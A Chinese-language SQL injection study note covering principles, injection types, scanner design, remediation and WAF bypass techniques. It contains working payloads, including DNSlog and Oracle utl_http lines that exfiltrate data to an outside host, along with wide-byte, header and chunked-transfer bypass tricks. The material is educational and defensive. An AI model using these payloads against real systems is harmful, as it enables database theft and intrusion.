目录

SQL注入 - 安全宏观101

一、原理

​ 用户传入的参数使用拼接的方式请求数据库,攻击者通过闭合方式控制数据库查询想要的结果

二、危害

  1. 数据泄露
  2. RCE
    1. 通过into outfile、dumpfile(用于二进制文件)写webshell(有secure_file_priv限制)
    2. 通过开启general_log日志的方式写webshell(没有secure_file_priv限制)
  3. 读文件
    1. 1 union select 1,2,load data local infile(‘D://test.txt’)–+
    2. 1 union select 1,2,load_file(‘D://test.txt’)–+
  4. 文件写入
    1. select .. into outfile
  5. SSRF
    1. 调用请求url函数
    2. windows系统下可以利用unc发起网络请求,结合responder可以获取到连接者的Net-NTLM hash

三、类型

判断注入点

  1. 有回显

    1. 联合查询

      1. union select,合并结果 爆出显示位
      2. select sum(username) from user group by id union select username from user
    2. 报错注入

      1. 利用报错信息得到查询的结果
        1. floor(),取整、updatexml()和extractvalue(),xpath语法错误。exp(),GeometryCollection(),polygon(),multipoint(),multilinestring(),linestring(),multipolygon()
        2. select username from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
  2. 无回显(盲注)

    1. 布尔

      1. 基于逻辑判断的真和假(比如通过substr、mid函数截取字符串)
      2. select username from user where id=1 and ascii(substr(database(),1,1))=106
    2. 延迟

      1. sleep:睡眠时间

        1. select username from user where id=200 or if(length(database())=11,sleep(1),1)
      2. benchmark:消耗计算资源产生延时效果

      3. 笛卡儿积:消耗计算资源产生延时效果

      4. get_lock:开两个session,并使用get_lock函数加锁,观察延时的时间

    3. dnslog注入(利用dnslog注入来提高盲注的效率,时间盲注和布尔盲注,效率慢,适用于数据量小的时候,数据量大容易跑挂网站)

    4. 原理:DNS查询时会产生DNS日志,我们可以在DNS日志中获取数据。

      1. mysql

        1. 没有secure_file_priv的限制,用于联合注入或堆叠注入
        2. mysql下的dnslog注入,利用的是windows的unc,所以linux系统无法成功,查询的数据中有特殊符号时,可使用 hex() 函数外带
          1. id=1 and load_file(concat('\\\\',hex((select database())),'.xxx.ceye.io\\abc'))--+
      2. oracle

        1. oracle数据库有内置方法可以发送dns请求,不受操作系统的影响。
        2. UTL_HTTP.REQUEST、DBMS_LDAP.INIT、HTTPURITYPE
          1. select x from x where id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--
      3. mssql、postgreSQL

        1. 仅适用堆叠注入
  3. 特殊的

    1. 堆叠(只有数据库和数据库函数支持执行多条sql语句时才行)

      1. select * from user; insert into user (username,password) value ('test','123')
    2. 二次注入

      1. 注册一个名叫 admin’# 的用户
      2. 执行修改密码:update users set password=’$new_pass’ where username=’$user’ and password=’$old_pass’;
      3. 带入用户名后的SQL是:update users set password=’$new_pass’ where username=’admin'# and password=’$old_pass’;
    3. 内联注入

      1. 内联查询(Inline Queries)SELECT statemnt FROM (SELECT statement);
      2. FROM后面跟着的部分是一个 SELECT查询子句,这个子句产生的结果会保存在 内联视图(Inline View)中。视图和表的结构一样但没有实际存储的数据,它建立在其他的表或者视图上
      3. 内联查询通常用于和其它方法结合使用,如在报错注入中就很常用到内联查询:
      4. id=1' AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7430=7430,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM

四、易发场景

  • 产生漏洞的本质原因是什么

    • 未对用户输入进行充分的验证和过滤,导致恶意用户在输入中嵌入了操纵数据库的恶意代码
  • 研发在什么情况易写出这类问题

    • 【不能预编译】字段名、表名

      • 字段名:Order by(排序)、 GROUP BY(分组计算)、SELECT、 ON、 HAVING(GROUP BY分组结果的条件筛选)
      • 表名: FROM、 JOIN
    • 【不想预编译】取数服务(报表平台),允许SQL片段传入

      • 解决方法:改造,不信任任何参数,抽象好方法,提供给上游调用

      •  1
         2
         3
         4
         5
         6
         7
         8
         9
        10
        11
        12
        
        // 抽象方法
        DTO {
        	private String key;
        	private String value;
        
        	toSql(){
        		checkSQL(key);
        		putMap(1, value);
        	}
        }
        // 上游调用
        { key: 'name', value: 'zhangsan'}
        
    • 【特殊场景】XFF(X-Forwarded-For)是header请求头中的一个参数是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。代表了HTTP的请求端真实的IP。服务器端会对XFF信息进行记录,但没有进行过滤处理,就容易导致sql注入的产生

      •  1
         2
         3
         4
         5
         6
         7
         8
         9
        10
        11
        12
        13
        
        // 浏览器IP,第一个代理服务器,第二个三个四个等等
        X-Forwarded-For: client1, proxy1, proxy2, proxy3
        // 注入
        X-Forwarded-for: 127.0.0.1' and 1=1#
        // 服务器判断真实地址的参数有时不一定是XFF,可能是以下几个参数
        x-forwarded-fot
        x-remote-IP
        x-originating-IP
        x-remote-ip
        x-remote-addr
        x-client-IP
        x-client-ip
        x-Real-ip
        

五、发现方法

  • 黑盒扫描器

    • 数据采集模块

      • 被动(与burp联动被动获取流量)
      • 主动(主动爬取数据获取流量)
      • 指定(指定url或数据包)
    • 安全测试模块

      • 现成工具:引入SQLMapApi

      • 手动开发(参考sqlmap)

        • 链接测试:是否能正常访问,页面相似度是否为动态的(每次访问页面的元素变化)

          • 动态:寻找动态内容标记出来,方便后面对比时移除
        • 注入检测:

          • 启发式检测,让web报错回显快速识别dbms

            • 发送 " ' ) ( , . 随机组合(满足单双引号只有一个),看看是否有转型错误报错

            • 布尔盲注:

              • 发送逻辑真,相似
              • 发送逻辑假,不相似
            • 报错注入:

              • 发送flag,正则匹配回显内容验证
            • 时间盲注

              • 计算正常访问时间,加上延时的时间,是否在期望时间范围内
            • 联合查询

              • 猜解列数,利用与模版页面比较的内容相似度寻找最最不同的那一个请求。
  • 白盒扫描器

    • orm框架数据流,如checkmarx检查mybatis注入,无法找到sink

      • 检测xml文件是否是mybatis的定义文件
      • 检测所有的sql节点,并递归(sql节点中可能也有sql节点)将sql节点的内容存到字典中,得到SQL
      • 正则匹配SQL中的${的内容,如果有匹配,记下其节点id
      • 通过FindByMemberAccess(namespace + ‘.’+ id),直接找到方法使用(而不是interface,因为mybatis的解析xml引号莫名其妙转成实体编码),也不考虑参数位置(因为变量名没法对应)
      • 将找到的参数作为sink点,之后走正常的数据流构建即可。
    • Source点到Sink点的执行路径是可达的,而且执行过程中没有经过有效的Sanitize

    • 除了逻辑漏洞外,其他均可归类为sink点可定义的安全漏洞

  • 灰盒扫描器

    • 会在SQL执行函数上面插入桩代码
    • 业务线程Hook到用户请求,Hook到SQL执行函数,放在ThreadLocal变量中
    • 当HTTP请求结束读取ThreadLocal请求信息和Hook信息,发给扫描器
    • 扫描器会修改请求,插入单引号和flag并发送,单引号和flag达了桩代码,说明存在安全问题(没有Sanitize)
  • 监控

    • 监控SQL日志平台,平台SQL日志出现的引号为单数时存在SQL注入

六、修复方案

  1. 黑:流量侧怎么管控

    1. waf:存在SQL特征的数据包、存在注入语句如(参考Druid)
      1. 系统级表information_schema.columns
      2. 系统级变量@@version
      3. 系统函数load_file等语句
      4. SQL注释
    2. sig3:使数据包无法篡改
  2. 白:逐渐降级方案:

    1. 预编译: where value 值、limit offset 和 total 值、insert value 值、update value 值

    2. 枚举校验: 排序方式、表名、列名、函数(例如 SUM,COUNT,MAX 等)

    3. 白名单校验: 表名、列名

      1. 表名、单列名: ^[a-zA-Z0-9-_.*]+$ 大小写字母、数字、减号、下划线、点、星号
      2. 多列名:上述加逗号
    4. 特殊字符转义:' " , ; ( ) | # / \ & = + < > ! \0

    5. 转义 \0 再在首尾添加单引号 ,确保拼接进的是字符串

  3. 灰:rasp

    1. 通过 raw sql 获取这些 gap 的长度,gap长度将用于协助判断parsed sql结构是否发生变化
    2. 如果 raw sql 与 parsed sql 的 gap 数量或内容不一致,则认为SQL发生变化。

七、绕过方法

  • 从架构层面: 找到服务器真实IP,同网段绕过、http和https同时开放服务绕过、边缘资产漏洞利用绕过。

  • 从协议层面:

    • 分块传输

      • Transfer-Encoding为chunked,表示将用chunked编码传输内容,将数据包分成多个块
    • 延时分块传输

      • 目前很多WAF都已经支持WAF分块传输检测

        • WAF一般通过以下步骤检测分块传输内容:
          • 发现数据包是分块传输,启动分块传输线程进行接收
          • 分块传输线程不断接收客户端传来的分块,直到接收到0\r\n\r\n
          • 将所有分块合并,并检测合并之后的内容
      • chunked-coding-converter 插件实现了在上一块传输完成后,sleep一段时间,再发送下一块。 目的是延长WAF分块传输线程的等待时间,从而消耗WAF性能。

      • 注意:块与块之间发送的间隔时间必须要小于后端中间件的post timeout,Tomcat默认是20s,weblogic是30s。

    • 利用pipline绕过

      • 当发送内容超过一个 http 包容量时,需要分多次发送,Connection值会变成 keep-alive(即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止)
      • 用 burpsuite 抓包提交,复制整个包信息放在第一个包最后,把第一个包 close 改成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉。
      • 有的waf不检测第一个包,只检测第二个包。
    • 利用协议未覆盖绕过

      • 在 http 头里的 Content-Type 提交表单支持四种协议:

        • application/x-www-form-urlencoded -编码模式、multipart/form-data -文件上传模式、text/plain -文本模式、application/json -json模式
        • 文件头的属性是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
    • POST及GET提交绕过。

  • 从规则层面:

    • 编码绕过

    • char、hex

    • 等价符号替换绕过

    • 普通注释和内敛注释

    • mysql黑魔法

      • select{x user}from{x mysql.user}
    • 参数污染等。

    • 宽字节注入

      • ?id=1%df’ and 1=1–+ 单引号会被转义 ?id=1%df' and 1=1–+(\的十六进制为%5c)
      • %df%5c’ 认成 縗’(mysql使用GBK时。GBK编码特性:两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字)
  • 资源限制角度绕过WAF

    • 超大数据包绕过

      • 这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。
      • 并发绕过

八、怎么治理

  • 体系化治理方案是啥

    • 编码:ide插件
    • Merge:新增代码监控
    • 构建:白盒扫描
    • 测试:iast、人工评估
    • 生产:waf、SQL日志监控binlog

九、常见问题

  1. 预编译原理

    1. 预编译将一次查询通过两次交互完成

      1. 第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode
      2. 第二次交互发送数据,代入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。
  2. DBMS识别

    1. 字符串连接符

      1. mysql:page.php?id=’ ‘mysql’ —
      2. Oracle:page.jsp?id=’||’oracle’ —
    2. 版本查询

      1. mysql:product.php?id=’ UNION SELECT @@version —
      2. Oracle:page.jsp?id=’UNION SELECT 1 FROM v$version —
      3. sql server:page.asp?id=sql’; SELECT @@SERVERNAME —
    3. 报错

    4. 待补充…